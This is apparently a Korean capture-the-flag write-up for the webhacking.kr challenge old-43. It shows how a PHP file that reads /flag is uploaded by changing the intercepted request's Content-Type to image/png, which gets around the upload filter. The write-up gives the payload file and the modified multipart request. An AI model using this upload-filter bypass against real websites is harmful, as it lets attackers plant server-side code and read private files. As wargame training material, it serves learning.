old-43 (250)
첫 화면이다.

아래와 같은 내용의 abc.php
파일을 만든다.
~
❯ cat abc.php
<?php
readfile("/flag");
?>
이 파일을 업로드하면 아래와 같은 창이 뜬다.

파일 업로드 시 패킷을 잡아보면 그 일부가 아래와 같다.
------WebKitFormBoundaryAw8jlB279hoIjA82
Content-Disposition: form-data; name="file"; filename="abc.php"
Content-Type: text/php
<?php
readfile("/flag");
?>
3번째 줄의 Content-Type을 아래와 같이 image/png로 수정한다.
------WebKitFormBoundaryAw8jlB279hoIjA82
Content-Disposition: form-data; name="file"; filename="abc.php"
Content-Type: image/png
<?php
readfile("/flag");
?>
패킷을 보내면 아래와 같은 창이 뜬다.

http://webhacking.kr:10004/upload/abc.php 에 접속하면 플래그가 나온다.

Auth 창에 플래그를 넣고 제출하면 문제가 풀린다.

Last updated
Was this helpful?